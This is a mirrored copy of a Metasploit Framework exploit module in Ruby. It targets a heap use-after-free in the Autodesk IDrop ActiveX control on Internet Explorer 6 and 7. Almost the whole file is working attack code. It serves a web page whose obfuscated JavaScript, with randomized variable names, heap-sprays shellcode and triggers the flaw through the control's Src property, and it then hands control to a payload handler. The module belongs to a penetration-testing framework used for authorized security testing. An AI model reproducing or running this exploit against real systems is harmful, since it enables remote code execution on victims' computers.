CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/autodesk_idrop.rb
Views: 11783
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = NormalRanking

8


9
  include Msf::Exploit::Remote::HttpServer::HTML

10


11
  def initialize(info = {})

12
    super(update_info(info,

13
      'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',

14
      'Description'    => %q{

15
          This module exploits a heap-based memory corruption vulnerability in

16
        Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.

17
        An attacker can execute arbitrary code by triggering a heap use after

18
        free condition using the Src, Background, PackageXml properties.

19
      },

20
      'License'        => MSF_LICENSE,

21
      'Author'         =>

22
        [

23
          'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]

24
          'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation

25
        ],

26
      'References'     =>

27
        [

28
          [ 'OSVDB', '53265' ],

29
          [ 'BID', '34352' ],

30
          [ 'EDB', '8560' ],

31
          [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],

32
        ],

33
      'DefaultOptions' =>

34
        {

35
          'EXITFUNC' => 'process',

36
        },

37
      'Payload'        =>

38
        {

39
          'Space'         => 1024,

40
          'BadChars'      => "\x00\x09\x0a\x0d'\\",

41
          'StackAdjustment' => -3500,

42
        },

43
      'Platform'       => 'win',

44
      'Targets'        =>

45
        [

46
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]

47
        ],

48
      'DisclosureDate' => '2009-04-02',

49
      'DefaultTarget'  => 0))

50
  end

51


52
  def autofilter

53
    false

54
  end

55


56
  def check_dependencies

57
    use_zlib

58
  end

59


60
  def on_request_uri(cli, request)

61
    # Re-generate the payload

62
    return if ((p = regenerate_payload(cli)) == nil)

63


64
    # Encode the shellcode

65
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

66


67
    # Setup exploit buffers

68
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))

69
    blocksize = 0x40000

70
    fillto    = 550

71
    offset 	  = target['Offset']

72


73
    # Randomize the javascript variable names

74
    idrop	     = rand_text_alpha(rand(100) + 1)

75
    j_function   = rand_text_alpha(rand(100) + 1)

76
    j_shellcode  = rand_text_alpha(rand(100) + 1)

77
    j_nops       = rand_text_alpha(rand(100) + 1)

78
    j_headersize = rand_text_alpha(rand(100) + 1)

79
    j_slackspace = rand_text_alpha(rand(100) + 1)

80
    j_fillblock  = rand_text_alpha(rand(100) + 1)

81
    j_block      = rand_text_alpha(rand(100) + 1)

82
    j_memory     = rand_text_alpha(rand(100) + 1)

83
    j_counter    = rand_text_alpha(rand(30) + 2)

84
    j_ret        = rand_text_alpha(rand(100) + 1)

85
    j_mem        = rand_text_alpha(rand(100) + 1)

86


87
    # Build out the message

88
    content = %Q|

89
<html>

90
<head>

91
<script language='javascript' defer>

92
function #{j_function}() {

93
  #{j_shellcode}=unescape('#{shellcode}');

94
  #{j_nops}=unescape('#{nops}');

95
  #{j_headersize}=20;

96
  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

97
  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

98
  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

99
  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

100
  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

101
  #{j_memory}=new Array();

102
  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

103


104
  var #{j_ret} = '';

105
  for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {

106
    #{j_ret} += unescape('%u0a0a');

107
  }

108
  for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {

109
    try {

110
      var #{j_mem} = #{idrop}.Src;

111
      #{idrop}.Src = 'http://' + #{j_ret};

112
      #{idrop}.Src = #{j_mem};

113
      #{idrop}.Src = 'http://' + #{j_ret};

114
    } catch(e){}

115


116
  }

117
}

118
</script>

119
</head>

120
<body onload='return #{j_function}();'>

121
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>

122
</body>

123
</html>

124
      |

125


126
    print_status("Sending #{self.name}")

127


128
    # Transmit the response to the client

129
    send_response_html(cli, content)

130


131
    # Handle the payload

132
    handler(cli)

133
  end

134
end

135


136